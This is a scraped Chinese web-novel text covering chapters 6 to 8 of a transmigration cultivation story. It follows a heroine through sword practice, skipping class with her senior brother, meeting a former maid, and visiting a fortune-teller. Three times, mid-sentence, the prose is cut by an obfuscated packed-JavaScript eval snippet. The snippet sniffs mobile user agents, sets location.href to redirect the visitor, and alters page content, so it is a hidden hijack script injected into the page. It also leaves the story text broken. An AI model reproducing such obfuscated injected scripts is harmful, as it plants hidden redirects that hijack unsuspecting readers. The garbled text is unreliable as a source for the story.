以前看小说的时候经常幻想自己可以三步上墙,这下好了,穿越过来不仅能学会三步上墙,还能学会御剑飞行。 就是不知道得到这个成果需要花费多长时间。 “小悯。”关云铮比划着蒲飞鸢方才演示的几个剑招,凑近了楚悯问道,“仙门大比还有多久来着?” 楚悯想了想:“约莫十多个月。” 十多个月要把术法和武器学到拿得出手的程度,也不知道以她的悟性能不能做到,毕竟她当年花了一年也没学会班里人人都说简单的排列组合。 排列组合,她的一生之敌,愿此世没有数学,阿门。 仙门的老师本来就不主张填鸭式教育,都是把内容讲了一遍又演示一遍后,就让学生们自行领悟,不过倒是会在人群中溜达,随时解答问题。 关云铮还在比划着,蒲飞鸢已经溜达到她旁边了。 “胳膊怎么这么没劲?”蒲飞鸢突然出声,关云铮差点被她吓一哆嗦,手里的木剑一抖,险些戳自己脚上。 蒲飞鸢伸手一接,眉头一皱:“这木剑怎么这么沉?” 关云铮心说刚才可重死我了,原来不是我的问题:“当时去的晚了,但木剑想来是差不多的。” 蒲飞鸢直接从她手里把木剑拿走了:“褚先生怎么可能给你们准备这么沉的剑,按说都是根据体格准备的不同重量的剑,你说你刚才去晚了?” 居然还会根据不同体格准备吗?老师们也太体贴了呜呜。 关云铮一边感慨一边乖乖点头。 蒲飞鸢随手挽了个剑花,把剑背在身后走开了。 好秀。 不过老师你把我剑拿走了我学啥。 关云铮失去可以拿来比划的东西,只好用目光默默追随蒲飞鸢的步伐,发现她又走到远处一个男同窗的身边,说了点什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853162|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 楚悯凑过来,关云铮看了眼:“?你的剑也没了?” 楚悯目光看向远处的蒲飞鸢。 关云铮看过去:哦莫,原来旁边还飘了一把,刚才剑花渐欲迷人眼了,没注意。 等会儿,怎么男同窗的剑也被拿走了? 周围的几个同窗好像也不练了。 关云铮正茫然着,忽然感觉蒲飞鸢往自己这边看了一眼。 咩啊? 我靠! 关云铮上一秒还在困惑,下一秒就被不知道哪里来的一股力拽了一把,再站定时就看到所有的学生都被聚集到了一起。 你们仙门高手下次拽我之前能不能打声招呼......算了,弱者在强者面前连挣扎都是多余,她释怀了。 “拿了轻剑的,自己站出来。”蒲飞鸢环视一圈。 可能是那威压并不针对她,关云铮不觉得有多不自在,反观周围几个男同窗,倒是一下子变得脸色涨红,嘴唇张合几番,还是没说出什么话,走上前去了。 好像明白了。 这些就是刚才取剑队伍最前面那些人吧。合着脸色涨红也不全是因为威压,还有被戳穿的难为情啊。 “女孩不用,”蒲飞鸢又看了眼犹疑不定站出来的几个女学生,继续说道,“褚先生在这批剑上施加了术法,它们会自动衡量每个人的体格,取剑时合适的剑会在你伸手能取到的第一把。” “你们几个既然拿到了轻剑,说明清楚剑有轻重之别,不仅进行了挑拣,还把别人的剑拿了。”蒲飞鸢话音一落,她腰间的剑忽然动了下。 关云铮离得近看得清楚,差点被这动静吓一跳。刚才是她感觉错了——果然有杀气。 蒲飞鸢收缴了几个男学生手里的轻剑,手一挥,几柄剑分别飞到几个女学生面前。 关云铮其实完全能理解这样的做法,气力这方面,女孩多数时候确实要比男孩欠缺一些,况且她也是蒲飞鸢此举的受益者,但她拿了剑,想了想还是说道:“先生。” 蒲飞鸢看她:“怎么?” “若有女孩拿得了重剑呢?”关云铮问道。 蒲飞鸢点点头:“我自然知道,只是你们才刚学剑,木剑也只是拿来练习剑招,还是契合自己的体格,轻便些为好,等以后你们把招式练熟,我会为你们找到更合适的剑。” 关云铮眉眼弯弯,拿着剑一揖:“谢先生。” 蒲飞鸢“嗯”一声,挥挥手示意他们散开继续练剑。 楚悯和关云铮一起走回人群边缘,关云铮刚想和楚悯说点小话,就见蒲飞鸢大步朝他走来。 关云铮连忙收起剑打招呼:“先生。” “你是哪门弟子?”蒲飞鸢开门见山问道。 关云铮眨眨眼,心说这才对嘛,虽然蒲飞鸢是她师父找来的,但电视剧里那种主角单独出场,都能被第一次见面的大佬认出来夸赞的场景,根本就不合理啊。 “学生是归墟苍生道,章先生门下弟子。”哎哟这名号她自己说出来听着还怪牛的。 蒲飞鸢皱眉:“你是章存舒徒弟?” 诶?难道不是有交情而是有仇咩? “他上哪儿找的,我也想要。”蒲飞鸢语气半是生气半是羡慕地说了句。 关云铮:? 也是体验到主角人见人爱的待遇了? “你比他会说话多了,他那破嘴。”蒲飞鸢吐槽了一句,还想再说点什么的时候想起这毕竟是人家徒弟,又临时改口,“我知道你刚才是故意那么说的,你问出来总比其他人在心里憋着要好。” 关云铮又眨眨眼,其实她倒是怕自己刚才那句会惹得别人不高兴,毕竟她算是既得利益者,按理来说是该闭嘴的。 “你们既然要做一年同窗,想来各位先生也不主张你们之间起什么冲突,但你也不用忌惮什么,要是还有今天这样的事情发生,没有可以替你们出气的就暂且憋着,等长辈来了再说。”蒲飞鸢这样说道。 关云铮点点头,又说:“我能先憋着,等到自己打得过了,自己出气吗?” 蒲飞鸢笑了:“行啊,到时候你揍完人同我说一声,我替你担着。” 关云铮:还有这种好事? 蒲飞鸢刚准备走,忽然又看向楚悯:“你是天问的吧?” 楚悯点点头,行了个礼。 蒲飞鸢看了她一会儿,最终还是没说什么,临走前抬手,轻轻拍了拍楚悯的肩。 关云铮:?啥意思 楚悯倒是没怎么在意,凑过来和关云铮一起比划剑招了。 7. 第 7 章 虽然换了轻剑,但练了一天剑招还是不免有些肩臂酸痛,晚间吃饭的时候关云铮都兴致缺缺,闻越倒是每天不知道打了哪个牌子的鸡血,生龙活虎得像是完全不用修炼一样。 哦,忘了他是混子了,他确实主观上不用修炼。 好想心安理得地当个混子啊,就是说章存舒能不能多收几个徒弟,她就可以和闻越一起混吃等死了。 这样想着,关云铮戳了戳碗里的米饭,抬头刚想问问闻越师父收徒的事情,就被闻越凑过来的脸吓了一跳。 这个轻易就会被吓到的身体bug到底什么时候能好?她是亏气血吗总是这么一惊一乍的?她的灵魂确实是个阴虚阳虚皆备的残破身躯没错,但原身总不会也是吧? 原身在这里过得也不好吗? 脑海里千军万马般的弹幕飞过,就见闻越伸手在她额头上探了一下,又坐回去了。 合着是以为我生病了。关云铮眨眨眼。 “练了一天剑很累吧?”闻越给她夹了一筷子炒鸡蛋。 关云铮拿着碗接过,点点头,又想起什么,放下即将送进嘴里的炒蛋:“大家都学剑吗?应该有人适合学别的武器吧?” 闻越似乎还是不太喜欢今天饭堂的菜,给她夹完菜后自己就不怎么吃了,闻言答道:“这个是仙盟立下的规矩,这几年的几位仙督恰好都是剑修,自然推崇剑为天下武器之尊。” 关云铮面上没啥表情,实际听完这句心里:噫,格局小了。 “那之后还能换武器学吗?”她不死心地追问了句。 总得有人学点别的吧,大家都学剑打架都不好看了。 “当然能啊,毕竟教习先生大多都不听仙盟安排,后面练了体术也熟悉招式后,应该就会因材施教了。”闻越又给她盛了碗汤。 关云铮心说你也好意思又说到因材施教,你口中的因材施教像话吗。 不过教习先生都不听仙盟安排吗,那步雁山这种掌门级别的也可以不听吗? “师兄你当时是学的什么?”关云铮终于把炒蛋吃嘴里了,发现没滋没味,伤心地把剩下的饭也一口闷了。 闻越态度随意:“剑,不过不怎么用。” 看出来了,我在你身上看不到一点修炼的痕迹。 “师兄现在是哪个阶段?”关云铮吃完饭没事干,索性开始采访自己的混子师兄。 “我?筑基后期。”闻越随手把碗碟收拾了。 “师兄当时是怎么引气入体的?”关云铮还真挺好奇的。 闻越收拾碗碟的手一顿,想了想才说:“当时在山下游历,不小心落水了,那是条野河,周边鲜少有人经过,我在水里挣扎了一会儿,想抓住什么,但就是抓不住,喝了好几口水,快要沉下去的时候感觉手边碰到了什么东西,就伸手抓了一把。” 出现了,求生的意志。 她不会也得把自己丢河里扑腾才能成功引气入体吧,她真不会游泳啊。 “再醒来就已经回师门房中躺着了,师父说我当时抓到了一只蝴蝶。”闻越说着,可能自己也觉得匪夷所思,笑了笑,“水里怎么会有蝴蝶呢?不过那之后我就成功引气入体了,可能从人向仙的道路本来就充满离奇吧。” 关云铮花了一秒钟思考蝴蝶把卵产在哪里,然后同样觉得匪夷所思地点了点头:“那师父是怎么知道你在河里的?” 闻越说到这更觉得离谱了:“他说蝴蝶报的信。” 关云铮:? 你是含香还是紫薇? 她还在心里琢磨呢,闻越忽然一转话题:“明天还得继续学剑,还不去休息?” 关云铮猝不及防,默默起身回去了。 可恶啊,我恨你们撕伞人! “好累,能不能在医院和宿舍插两个tp点,我每天只需要传送一下就好了。”室友跟完门诊回来,瘫在吊椅里感慨。 “要是能插tp点的话我选择插一个在家里,这样我每天都能回家吃饭了,还是家里的饭菜比较香。”关云铮气息奄奄地从吊椅里伸出一只手。 另一个室友开门进来,身上的死意把寝室内瘫着的俩人吓了一跳。 “你干嘛去了这么半死不活的?你不是跟带教门诊吗?”关云铮惊得从吊椅里坐起来,拽住吊绳让自己不要晃。 “我带教前两天跟人换班没跟我说,今天去了说今天值班,说他很忙,让我帮他写了一天的病历。” 关云铮惊呆了:“所以你写了几份?” 快要死在寝室门口的室友:“六份……包括病程记录。” 关云铮深吸一口气:“你辛苦了……还好我每次都说我不会写病历。” 另一个室友叹了口气:“迟早要写的,等到实习这种事就都是我们这些便宜又好用的牛马干了,到时候不会也得会。” 关云铮很淡定:“那就到时候再说呗,有的是时间当牛马,我还不至于这会儿上赶着多当几个月。” 奄奄一息的室友和吊椅里的室友纷纷举起大拇指。 关云铮忽然又想起什么:“说真的,要是能插tp点,我觉得也不用学医了,干个什么送货的都行,至少能少了回仓库取货的过程,每次一键tp回城。” 最后一个室友也从外面回来了,精神状态一跃成为寝室四人中最好的:“什么tp点?” 关云铮:“我们幻想在医院和宿舍各插一个眼。” 室友点点头:“那确实是幻想。”她低头看向还没走到自己床位就瘫在门口凳子上的室友,又看向吊椅里的两位,“她咋了?” “写了六份大病历,包含病程记录版,快死了。”室友怜悯状。 “可怜怜,来,我把这位老奶奶扶回去。” 快死的那位室友配合地倒腾起双腿。 关云铮给自己点了份烧烤又加了杯奶茶,感觉缓过来点了,问正干好事的那位:“你不是也去跟带教了吗,你怎么生龙活虎的?没干活?” 那位室友:“哦,我带教今天值班,有个病人突然病危她去处理了,一上午都在ICU那边,中午还给我点了杯奶茶说不好意思晾着我,下午让我自由活动,然后我就去看了场电影,才回来。” 关云铮:“?” 另一吊椅室友:“?” 本就奄奄一息的室友:“?” 关云铮:“我靠你别死啊我们摁不活你啊!” 奄奄一息室友默默举起大拇指,狠狠摁了一下自己的人中:“求人不如求己,我活了。” …… 关云铮被敲门的动静吵醒,迷迷糊糊地睁开眼。 天都还没亮,谁会来敲门啊? 她抓了床尾衣架上的外衣披上,刚打开门就看见闻越一脸兴奋:“云崽,今天我们下山去寻找机缘怎么样!” 关云铮用没睡醒的大脑思考了几秒:“你的意思是,要拉着我逃学?” 闻越把她推回门里:“快洗漱一下我在外头等你,师姐起来了就逃不了了。” 关云铮配合地退回去,困得差点一个猛子扎铜盆里。 闻越两步跨进来,扯了帕子打湿,呼噜了一把关云铮的脸,帮她理好衣领,拽着人走了。 关云铮在风中犹自凌乱:? 闻越一看就是逃学经验丰富,带着关云铮走了一条人迹罕至的小路,连地面上的草都还在,没有因为频繁的踩踏死绝。 关云铮大早上被吵醒本来还困着,被山里的凉风一吹,立马神清气爽了,一面跟着闻越的步伐一面问道:“师兄吃过早饭了吗?” 你要是吃过了我就要闹了。 闻越给她扒拉开一处草丛,回头:“没吃呢,带你下山去吃云吞。” 关云铮:来劲了家人们。 嘿嘿,云吞,嘿嘿。 她刚打算从闻越扒拉出的缝隙里走过去,忽然感觉到什么,往身后看了一眼。 闻越看她:“怎么了?” 关云铮又感觉了一会儿:“周围是不是有什么很厉害的东西。” 这感觉有点像是不熄鼎借她灵气时的感觉,有种强大但温和的力量感。 闻越示意她先走过去,跟在她身后走出来才说:“山里好像有个剑冢,没准是这个。” 关云铮好奇心上来了:“剑冢在哪啊,我能进吗?” 闻越走在她前面,闻言回头看了她一眼:“你想进去啊?” 本来觉得挺正常的怎么你这么一说好像我是要“进去”。 对话内容逐渐进狱。 关云铮忽略自己心头那点怪异感:“有什么准入门槛吗?” 闻越想了想:“好像得有指引才能找到洞口,跟里面武器的相互感应,我没去过。” 关云铮:“那岂不是没多少人进去过?” 闻越点点头:“毕竟里面的武器都是些无主的,除非能恰好碰上上一任主人的后代,不然很难感应到。” 关云铮轻轻叹了口气,估计她是没希望了。 山雾在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853163|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一步步前进中逐渐消散,因为是走的小路,所以回头时也没有看到想象中仙门正门气势恢宏的模样,只有笼在雾中的仙山在身后无声注视着。 关云铮几乎没有旅过游,为数不多的几次爬山,也只是因为参观的景点建造在半山腰,除此之外,她对爬山向来非常抵触。 但仔细想想,记忆里好像确实有爬山的片段,只是年纪太小印象不深,所以当时的感受也随着年纪增长逐渐遗失了。 会是什么感觉呢? 关云铮看着自己身后的仙山。 她长大的地方并没有这么高的山,从前觉得云山雾绕是一种江南美学,现在看了被云雾缭绕的仙山,心头反而生出一股敬畏感。 或者说,掺杂着恐惧感的茫然。 我究竟为什么会来到这里?是他人的主观还是客观上的不可抗力?原身的灵魂如何了?我真的要在仙山继续修炼甚至这样度过在这个世界的一生吗? 高中选科和大学选专业都没有片刻迷茫过的人面对着仙山陷入了沉默。 闻越走出几步,发现身后没有动静,走过来探出头:“怎么啦?” 关云铮回过神,下意识想说句没事,顿了顿还是没说,而是摇摇头,跟上闻越的步伐。 闻越走在关云铮身边简直像是什么没头脑和不高兴的翻版,神采飞扬地说道:“山下有家铺子云吞简直是一绝!加点河虾和葱花香得我端碗喝汤,嘿。” 嘿……? 关云铮觉得这样的师兄好笑之余还有点可爱,抬头看了他一眼。 嗯……虽然她自己长得也没多高但是这个年纪还是太矮了点,离这么近看闻越好费劲。关云铮这样想着,脚下默默错开一步,仰角陡然变小——这下舒服多了。 闻越没注意她错开的一小步,继续说道:“最近季节不好,后山的菜倒是挺多,但没一个我爱吃的,下蛋的母鸡也不知道是不是跟着修仙清心寡欲了,下出来的鸡蛋没滋没味的。” 关云铮对鸡蛋没滋没味这点深表赞同,在旁边默默点了点头。 “山下不知道有什么好吃的,不过今天我带够钱了,放心。”闻越伸手拍了拍她肩膀。 带够钱了,好动听的一句话。 不过说到钱,关云铮想起什么,问道:“仙门修行应该没有收入?” 闻越走在前头:“对啊。” 关云铮心说那你哪来这么多钱。 闻越似有所感地回头一笑:“家里给的。” 关云铮:我跟你们有钱人拼了。 闻越走出两步,又想起什么似的说道:“不过门派里最有钱的应该是师父?” 关云铮一边点头一边继续走着,意识到闻越刚才说的是谁后差点把脚崴了:“师父?我们师父?” 闻越及时转过身,伸手扶了她一把:“师父没入仙门之前可是朝安城颇负盛名的公子哥,把金叶子当树叶撒,出个门路边都有人候着捡钱。” 关云铮:受不了了,回去就跟师父爆了。 不是说人终将成为自己讨厌的人吗?她都这么讨厌有钱人了,怎么还没变有钱啊。 “我其实也不太清楚师父为什么会放着大好的日子不过,来仙山上苦修。”闻越担心关云铮又把脚崴了,索性放慢脚步走在她身后一些位置。 关云铮心说我哪知道你们有钱人脑子里在想些什么,嘴上说道:“我们门派好像也不算很苦?” 除了菜稍微没滋没味了点,日常修炼的强度也不是很大,她还算可以接受。 闻越摆摆手:“那是现在,以前归墟就是个破烂山头,鸟都不稀罕来,还是几个先辈勤恳才有现在的归墟。”远处终于看见人烟,闻越说话的语气都雀跃了些,“而且我们师门和门派中其他师门也不尽相同,师父对我们管束不多,要求也不严,才能落得轻松自在。” 那师父他人还挺好。关云铮下意识在心里接了个梗,接完又默默:师父本来就挺好,不要玩烂梗。 不过倒是还没怎么见过门派里其他人,也不知道一起修习的那些同窗里有没有。每到这种需要象征性来点社交的时候,她总是光想想就社恐发作了。 不过身边这位倒是挺像交际花的,到时候有需要就找他好了。 关云铮美滋滋地在心里拨算盘,忽然听见闻越叫她。 “云崽。” 她抬头才发现闻越又在她走神的时候走到她前面去了,此时正站在熙熙攘攘前朝她看过来:“镜溪城到了。” 8. 第 8 章 闻越目标明确,刚进入镜溪城就带着关云铮直奔云吞铺子,坐下后点了两碗云吞,想了想,又点了一碗桂花汤圆。 “吃甜的不?”闻越点完后问关云铮。 关云铮老实道:“不太甜的吃。” 闻越点点头:“挺好,桂花汤圆你尝尝。” 于是关云铮也点点头,点完头发现两个人说话的语序乱得离谱,像是大早上不吃饭逃学下山,把语言中枢饿坏了。 铺子老板手脚很利索,很快端上来两碗云吞,香气先一步飘过来,把关云铮好久没犯的馋瘾都勾出来了。 闻越把勺子递给她,又嘱咐一句当心烫,自己埋头吹了吹表面,喝了一口汤。 关云铮用勺子舀起一个,端详了一会儿。 说来也奇怪,按说云吞是起源于唐朝时期的南方,关云铮作为一个土生土长的南方人,平常吃的更多的却是馄饨,吃多了面皮汤后,骤然见到这样馅料丰富的云吞,还挺感慨的。 感慨完意识到山上可能真的挺苦的,吃个云吞都能生出这许多感慨,属实是被生活PUA狠了。 关云铮在心里吐槽完忽然矫情的自己,再一抬头发现闻越都快吃完了。 “师兄。” 闻越吃得双眼冒光,抬头:“嗯?” 关云铮默默后仰了一下:“你够吃吗?”感觉这一刻的师兄好像饿死鬼投胎。 闻越抱着碗点点头,然后一招手吆喝道:“老板再来份炸云吞!” 关云铮:? 有被师兄饭量吓到。 老板应下那句吆喝,很快又把桂花汤圆端上来。 关云铮看看面前的云吞,又看了看桂花汤圆,头一回有种不知道先尝哪个的茫然。 闻越把汤圆往她面前推了推,又往碗里放进一个勺子:“慢慢吃,有的是时间。” 听听这熟练的逃学发言。 关云铮埋头先咬了口勺子里早就不烫的云吞。 唔,好像不是面粉做的皮,感觉皮里有一种……鸡蛋味儿?比起馄饨皮,要有嚼劲得多。馅料好像是……冬菇猪肉?还有脆脆的口感……马蹄吗? 关云铮:怎么有种吃到二十一世纪某家外卖的感觉。 但是又要好吃很多,面皮带着手工擀制现煮的劲道。 吃了一半,闻越的炸云吞也好了,他用筷子夹了一个伸过来,关云铮用勺子接了,吹了吹后咬下去,外皮脆得掉渣,里面的馅料比煮出来的更鲜,口感更是丰富了好几层。 呜呜,又幸福了,谢谢师兄带我下山吃好吃的,呜呜。 关云铮在心里流泪,低头怒吃剩下的云吞,暴风吸入后把碗一推,把桂花汤圆的碗扒拉到面前。 闻越把剩下的炸云吞包好,看她:“好吃吗?” 关云铮咬破一颗汤圆,被里面的桂花馅儿惊艳,含含糊糊地说:“好次。” 完全是桂花天然的味道,清甜的同时还有股香味。 闻越伸了个懒腰:“我就说这家很好吃吧。” 关云铮说不出话但强烈赞同:“嗯嗯!” 逃学真好,下次她还要逃学。 吃完丰盛的一顿早饭,关云铮一边悄悄揉揉肚子一边跟着闻越继续到处乱逛,闻越时不时就会买点东西,但关云铮又没看到他收到哪里,于是在几次买买买之后问道:“师兄身上有什么地方储存东西吗?” 于是她就看着闻越掏出一个小袋子。 哦,修仙文必备扩充空间术法。 “云崽有什么想买的吗?可以放我这。”闻越笑眯眯。 关云铮暂时没有需求,摇了摇头。 两人经过一处偏僻的小巷时脚步没停,关云铮却被角落里忽然扑上来的人抓住了衣服。 关云铮差点条件反射伸手去把那只手拍开,回头一看才发现是一个还没有她高的小姑娘。 是乞丐吗?但是看衣服好像也不像。 正疑惑着,姑娘哭着开口了:“小姐!真的是你!” 关云铮:? 这是碰瓷还是真遇上以前认识的人了?鉴于她并没有原身的记忆,关云铮这一刻衷心希望这位姑娘是来碰瓷的。 走在前面的闻越也回过头来,看向她。 姑娘哭着说:“刚才在云吞摊看到你我还不敢认,跟了一会儿才敢确认是你。” 关云铮觉得有点头痛,但看面前的姑娘哭得太伤心,决定还是先安慰一下:“你先别哭。” 话一说完她自己都无语了,安慰得很好,下次不要安慰了。 “小姐,你去仙山求学后夫人越来越肆无忌惮了,这段时间甚至让二小姐住进了你的院子,你的东西也都被她丢去库房了。”面前的姑娘越说越难过,松了抓着她衣服的手,擦起眼泪,“都怪连翘没用,拦不住她们。” 好的,知道名字了,开演。 短短两句话关云铮已经脑补出一场狗血宅斗大戏,看文追剧多年的脑子立马自动生成画面,措了措辞才说:“她们欺负你了吗?” 连翘愣了一下,哭泣骤然被打断,有点缓不过来:“没,没有,小姐离开后我就被差到别的院子了,平时没什么机会遇到夫人和二小姐。” 关云铮点点头:“那就好,你别被她们欺负了要紧。” 连翘还有点委屈:“那,那些东西都是小姐以前顶喜欢的,不管了吗?” 关云铮看她哭得泪汪汪的怪可怜,摸了摸她的发顶:“那些东西我暂时也用不到,再说了,不是丢到库房吗,还没彻底丢了,以后拿得回来的。” 估计是没想到她这么心平气和,连翘“哦”了声,想了想又问道:“小姐今天是下山历练吗,要不要回家一趟?” 关云铮:该怎么跟你说呢,我其实是逃学来的。 闻越看她们还得聊会儿的样子,从袋子里把打包好的炸云吞拿出来递给关云铮,示意她给连翘吃,自己走到不远处去,不打扰她们了。 关云铮正不知道说点什么好,跟闻越道了声谢把云吞塞给连翘,8g冲浪的习性使然,差点脱口来了句“这是云吞,好吃的”,默了默改口:“炸云吞,很好吃。” 连翘接过:“谢谢小姐。” 关云铮看她吃了一个,想了想说:“这次下山时间仓促,我就先不回去了,你回去后一切照常,别去她们眼前,大概也不会找你的茬。” 她思考了几秒以后还有没有机会下山,主要是不知道这次逃完学回去后会不会受罚,但看闻越逃学惯犯的样子应该问题不大,于是还是顺从内心给连翘画了个饼:“下次下山,我回去找你。” 连翘眼泪汪汪的地答应下来。 也不知道多大了,估计吃得不怎么好,都不怎么长个的样子。关云铮在心里叹了口气,想了想问她:“给你钱的话能藏好吗?” 连翘摇摇头:“小姐不用给我钱的,府里没有短我吃穿。” 关云铮心说看你这样我怎么那么不信呢,但还是没多说什么:“出来太久不好,先回去吧。” 连翘点点头,一步三回头地走了。 关云铮看着她走远,直到人没影了才转身去找自己的便宜师兄。 她往闻越离开的方向走,路过一个似乎是卖陶塑物件的小摊。 大概是街道在这个地方收窄了一些,又或者路边的摊位挤占了太多空间,关云铮放慢步速以免被挤,目光从拥挤的前方收回,无意识地在周围的东西上打转。 冰糖葫芦?好久没吃过了,下次买一串尝尝。 那黢黑的是什么玩意儿?烤红薯?诶?外壳被拆开了,是叫花鸡。 好像更好吃了怎么回事。 下个山简直像是馋鬼附体,关云铮默默嫌弃了一下自己。 人流逐渐变得不那么密集,道路也重新开阔起来,她正准备从小碎步模式切换到大步流星,忽然没有任何原因地,往刚才那个陶塑摊位上看了一眼。 这猛回头是怎么回事?她好像没有什么要看的东西啊,还是说是这具身体的下意识反应? 她疑惑着在原地站定,过了几秒还是决定尊重这具身体的反应,认命地往回走,正好和一个从摊位前离开的人擦肩而过。 刚才好像看到他在摊位前给钱了……怎么手里又是空的? 关云铮皱眉,视线追随了那个人一段距离,直到他彻底没入人群,变成别无二致的黑色后脑勺。 认不出来了。 她收回视线,觉得刚才的自己简直莫名其妙。 这具身体想要她看什么呢? 关云铮在原地站了好一会儿,百思不得其解,正准备再次离开,身后的摊主估计是看她站了很久,以为她对摊上的东西感兴趣,热情地喊住她:“姑娘,看看陶塑物件吗?都是我自己做的小玩意儿,不贵,买去摆在床头桌上都好看呢。” 在学校里被强行塞小礼品要求扫码的记忆回笼,关云铮嘴比脑子快,脱口道:“不用了谢……” “谢谢”还没说完,摊位角落里的一个香炉吸引了她的视线。 她甚至不知道自己为什么会看向它,那个香炉看起来和旁边的陶塑物件没什么区别,都是毫无光泽的样子。 关云铮收回视线,向摊主礼貌点头,转身离开了。 她审美还是比较肤浅局限,只能欣赏上了釉的瓷器。 好在闻越没走出太远,拐过这一条街的街口,关云铮就看见了他的背影。 等等,他面前的是什么摊位? 关云铮看着那个高高挂起还写着“算命占卜”的幡子,内心大喊不妙。 出于看文多年的直觉,她觉得自己不要靠近为好,不然可能会有被算命先生道破身份的风险。 关云铮正站在原地思考该怎么低调地把闻越喊过来,站在算命摊前的人就若有所觉似的转过头看向她,朝她招了招手。 好吧,这下不得不过去了。 关云铮认命地走过去,还没走到就听见算命的说:“这位姑娘身份不简单啊。” 。该来的还是来了。 关云铮一边在心里祈祷他是个不懂装懂的江湖骗子,一边走近闻越说道:“我们走吧。” 闻越看她:“不听他说说吗?” 关云铮冷静道:“算了,不想花这个冤枉钱。” 算命的:“姑娘此言差矣,能遇上姑娘这样的有缘人,不收钱。” 关云铮:彳亍。 闻越来兴致了:“说说,有多不简单?” 算命的捋了捋胡子。 关云铮破罐子破摔地站在旁边没动。 她也不敢看算命先生,心里无比虔诚地祈祷自己不会被戳破,这算命的只是摆摊骗人。 “魂灵与身躯互不契合,□□年轻而灵魂早已衰老,实在不简单啊。”那人沉思片刻说了这么一句。 ……白惊吓了,就这水平也敢出来摆摊。 闻越眉头一皱:“这叫成熟,怎么就衰老了?会不会说话?” 就是,灵魂也才二十岁,哪里老了。 算命的还想说点什么,闻越已经不大高兴地拉着关云铮走了:“还不如回去让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853164|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天问的给你算,就这水平还出来摆摊,要不是没空早晚把他摊子端了。” 师兄你有点像黑涩会了。 不过让天问的算还是蒜了,总感觉会把她揭个底掉。 “我还没说完呢!这位姑娘命格诡异,是世外之人啊!”那算命的在他俩身后喊道。 关云铮面无表情:我谢谢你。 闻越没太听清地扭头:“他说什么?世外高人?” 关云铮差点被他逗笑,好悬绷住了表情:“没听清。” 闻越摇摇头:“回去问问我天问派的朋友愿不愿意来镜溪城摆摊,算命的钱也太好赚了,不赚白不赚。” 关云铮点点头,心说回去问问小悯,她肯定算得更准。 可能是山上确实有些无聊,闻越和关云铮在镜溪城的大小铺子前走走停停,每到感兴趣的铺子前就要去看一眼。 关云铮后知后觉:好像两只狐獴。 不过她是第一次来这么兴奋也就算了,闻越这个逃学惯犯都看过好多次了,怎么还这么兴奋呢。 关云铮默默在他身后观察了一会儿,得出结论:纯粹是因为逃学而兴奋。 快乐得不像是逃学,而是逃狱。 她忽然想起以前高中的时候去排队打电话,排在最前面的高三学长贴着墙站着,对着电话那头说:“我还有两天就出去了!” 当时就挺让人忍俊不禁的。 一般不都是用回去吗,当时的关云铮这样想,用出去就好像是在坐牢啊。 虽然对于高三生来说,可能上学确实和坐牢没区别。 关云铮在心里为广大学子叹了一口气,默默收回思绪,抬头时正好撞见闻越回头:“中午想吃什么?” 关云铮猝不及防,下意识地:“嗯……我还不饿?” 闻越露出有点为难的表情。 “怎么了?” 闻越皱了皱眉:“我家就在附近,本想着你饿了的话把你带去客栈休息一会儿,我也好回家一趟。” 关云铮明白了,善解人意道:“我不饿你也能把我带过去,我就在那等你。” 闻越想想也是,带着她往客栈的方向走了。 关云铮本来以为还要继续这样走走逛逛,无所事事很久,本意确实想找个时候跟闻越说一声,找个地方歇脚。 但等她在客栈大堂坐下,又目送闻越离开后,她忽然意识到自己其实有件事可以做。 ——她得去看看刚才那个算命的是瞎蒙的,还是真看出了什么。 她难得有这么想法简单的时候,不用去思考赶去一个地方回来还是否来得及,不用考量去那边要先做什么后做什么。 牛马当久了,修个仙都觉得自在多了。 跟店小二打了声招呼,关云铮出了门,开始往来时路走。 可能路痴属性是刻在身体里而非灵魂里,关云铮这个在二十一世纪花一周才能认路的路痴,在此时走上回头路时毫无障碍。 很快就回到了算命摊位前。 临近饭点,生意惨淡的算命人正准备收摊。 意识到前方有目光注视,那算命的抬起头来。 关云铮这才注意到他眼睛上好像有层翳,疑惑了一下:刚才就是这样的吗?怎么好像没有印象。 算命的打量了她一会儿才说:“是方才那位姑娘啊。” 关云铮没靠太近,就站在一步远外点点头。 “是还想再算一次吗?”算命先生问她。 “您方才说我,命格诡异,是世外之人?”关云铮复述了一遍刚才他说的话,想看他对这句话有没有什么解释。 算命先生听到这话却愣了一下,看了她一会儿才慢吞吞地说:“姑娘命格平稳,是有福之人。” 关云铮皱起眉头:“可你……”算了,本来她也并不多信算命之言,想了想干脆作罢,对着人揖了揖,“多谢先生。” 关云铮转身回客栈,眉头依旧皱着没松开。 店小二见她短时间内去而复返,打了声招呼:“姑娘事办完了?” 